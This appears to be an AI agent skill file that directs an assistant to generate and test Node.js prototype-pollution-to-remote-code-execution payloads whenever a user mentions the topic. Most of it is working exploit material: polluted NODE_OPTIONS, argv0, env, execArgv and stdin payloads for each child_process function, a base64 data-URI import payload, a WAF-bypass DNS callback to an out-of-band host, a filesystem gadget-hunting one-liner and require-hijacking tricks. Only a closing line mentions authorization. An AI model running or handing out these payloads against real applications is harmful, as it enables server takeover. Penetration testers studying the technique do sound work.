| name | nodejs-prototype-pollution-rce |
| description | Generate and test Node.js prototype pollution to RCE payloads. Use this skill whenever the user mentions prototype pollution, Node.js security testing, child_process exploitation, PP2RCE, or needs to convert prototype pollution into remote code execution. This skill provides payloads for fork, spawn, exec, and other child_process functions, plus techniques for forcing spawn when not present. |
Node.js Prototype Pollution to RCE
A skill for generating and testing prototype pollution to remote code execution (PP2RCE) payloads in Node.js applications.
When to Use This Skill
Use this skill when:
- You've identified a prototype pollution vulnerability in a Node.js application
- You need to escalate prototype pollution to RCE
- You're testing Node.js applications for child_process exploitation
- You need payloads for specific child_process functions (fork, spawn, exec, etc.)
- You're working with Node.js versions 18-22 and need version-specific payloads
Quick Start
1. Identify the Sink
First, determine which child_process function is being called in the vulnerable code:
const { fork, spawn, exec, execFile, execSync, spawnSync, execFileSync } = require("child_process")
2. Select the Appropriate Payload
Choose a payload based on the sink and Node.js version. See the payload sections below.
3. Test the Payload
Use the generate-payload.js script to create test payloads:
node scripts/generate-payload.js --sink fork --node-version 18 --output test.json
Payload Categories
Environment Variable Injection (fork)
Best for: fork() calls, Node.js 18+
b = {}
b.__proto__.env = {
EVIL: "console.log(require('child_process').execSync('touch /tmp/pp2rce').toString())//",
}
b.__proto__.NODE_OPTIONS = "--require /proc/self/environ"
fork("./a_file.js")
JSON payload:
{
"__proto__": {
"NODE_OPTIONS": "--require /proc/self/environ",
"env": {
"EVIL": "console.log(require('child_process').execSync('touch /tmp/pp2rce').toString())//"
}
}
}
Command Line Injection (cmdline)
Best for: Most child_process functions, works after kEmptyObject fix
b = {}
b.__proto__.argv0 = "console.log(require('child_process').execSync('touch /tmp/pp2rce').toString())//"
b.__proto__.NODE_OPTIONS = "--require /proc/self/cmdline"
fork("./a_file.js")
JSON payload:
{
"__proto__": {
"NODE_OPTIONS": "--require /proc/self/cmdline",
"argv0": "console.log(require('child_process').execSync('touch /tmp/pp2rce').toString())//"
}
}
Filesystem-less Attack (Node.js 19+)
Best for: Read-only environments, ESM-only apps, Node.js 19-22
const js = "require('child_process').execSync('touch /tmp/pp2rce_import')";
const payload = `data:text/javascript;base64,${Buffer.from(js).toString('base64')}`;
b = {}
b.__proto__.NODE_OPTIONS = `--import ${payload}`;
fork("./a_file.js");
JSON payload:
{
"__proto__": {
"NODE_OPTIONS": "--import data:text/javascript;base64,cmVxdWlyZSgnY2hpbGRfcHJvY2VzcycpLmV4ZWNTeW5jKCd0b3VjaCBcL3RtcFwvcHAycmNlX2ltcG9ydCcp"
}
}
DNS Interaction (Out-of-Band Detection)
Best for: Confirming exploitation when file creation isn't visible
{
"__proto__": {
"argv0": "node",
"shell": "node",
"NODE_OPTIONS": "--inspect=id.oastify.com"
}
}
WAF-bypass variant:
{
"__proto__": {
"argv0": "node",
"shell": "node",
"NODE_OPTIONS": "--inspect=id\"\".oastify\"\".com"
}
}
Function-Specific Payloads
fork()
All techniques work:
- environ trick: ✅ Working
- cmdline trick: ✅ Working
- execArgv trick: ✅ Unique to fork
b = {}
b.__proto__.execPath = "/bin/sh"
b.__proto__.argv0 = "/bin/sh"
b.__proto__.execArgv = ["-c", "touch /tmp/fork-execArgv"]
spawn()
Note: Requires cwd option after kEmptyObject fix (Node.js 18.4.0+)
spawn("something", [], {"cwd": "/tmp"});
p = {}
p.__proto__.argv0 = "/proc/self/exe"
p.__proto__.shell = "/proc/self/exe"
p.__proto__.env = {
EVIL: "console.log(require('child_process').execSync('touch /tmp/spawn-environ').toString())//",
}
p.__proto__.NODE_OPTIONS = "--require /proc/self/environ"
exec()
p = {}
p.__proto__.shell = "/proc/self/exe"
p.__proto__.argv0 = "console.log(require('child_process').execSync('touch /tmp/exec-cmdline').toString())//"
p.__proto__.NODE_OPTIONS = "--require /proc/self/cmdline"
execFile()
Requirement: Must execute Node.js for NODE_OPTIONS to work
execFile("/usr/bin/node")
p = {}
p.__proto__.shell = "/proc/self/exe"
p.__proto__.argv0 = "console.log(require('child_process').execSync('touch /tmp/execFile-cmdline').toString())//"
p.__proto__.NODE_OPTIONS = "--require /proc/self/cmdline"
execSync() / spawnSync() / execFileSync()
All support stdin trick:
p = {}
p.__proto__.argv0 = "/usr/bin/vim"
p.__proto__.shell = "/usr/bin/vim"
p.__proto__.input = ":!{touch /tmp/execSync-stdin}\n"
Forcing Spawn When Not Present
If the vulnerable code doesn't call child_process functions, you need to force a spawn.
Technique 1: Control require Path
Find a .js file that calls child_process when imported:
find / -name "*.js" -type f -exec grep -l "child_process" {} \\; 2>/dev/null | while read file_path; do
grep --with-filename -nE "^[a-zA-Z].*(exec\\(|execFile\\(|fork\\(|spawn\\(|execFileSync\\(|execSync\\(|spawnSync\\()" "$file_path" | grep -v "require(" | grep -v "function "
done
Common files:
/path/to/npm/scripts/changelog.js
/opt/yarn-v1.22.19/preinstall.js
node_modules/buffer/bin/test.js
node_modules/detect-libc/bin/detect-libc.js
Technique 2: Pollute require Resolution
Absolute require (no main in package.json):
{
"__proto__": {
"main": "/tmp/malicious.js",
"NODE_OPTIONS": "--require /proc/self/cmdline",
"argv0": "console.log(require('child_process').execSync('touch /tmp/pp2rce').toString())//"
}
}
Relative require:
{
"__proto__": {
"exports": {".": "./malicious.js"},
"1": "/tmp",
"NODE_OPTIONS": "--require /proc/self/cmdline",
"argv0": "console.log(require('child_process').execSync('touch /tmp/pp2rce').toString())//"
}
}
Version Compatibility
| Node.js Version | environ trick | cmdline trick | --import | kEmptyObject fix |
|---|
| < 18.4.0 | ✅ | ✅ | ❌ | ❌ |
| 18.4.0 - 18.x | ⚠️ (needs cwd) | ✅ | ❌ | ✅ |
| 19.x - 20.x | ⚠️ (needs cwd) | ✅ | ✅ | ✅ |
| 21.x - 22.x | ⚠️ (needs cwd) | ✅ | ✅ | ✅ |
Notes:
--import with data-URIs works in Node.js 19+ (confirmed in 22.2.0)
- kEmptyObject fix (Node.js 18.4.0+) requires
cwd option for spawn/spawnSync
- CopyOptions() in Node.js 20+ blocks nested object pollution but not NODE_OPTIONS
Testing Workflow
-
Confirm prototype pollution:
console.log(Object.prototype.polluted === "test");
-
Identify the sink: Look for child_process usage
-
Generate payload: Use the script or select from above
-
Test with DNS first: Use OOB detection before file creation
-
Escalate to RCE: Use file creation or command execution
Security Notes
- These techniques are for authorized security testing only
- Node.js 20+ has improved protections but NODE_OPTIONS tricks still work
- The
--import flag is being tracked for future restrictions (Node Issue #50559)
- Always verify you have authorization before testing
References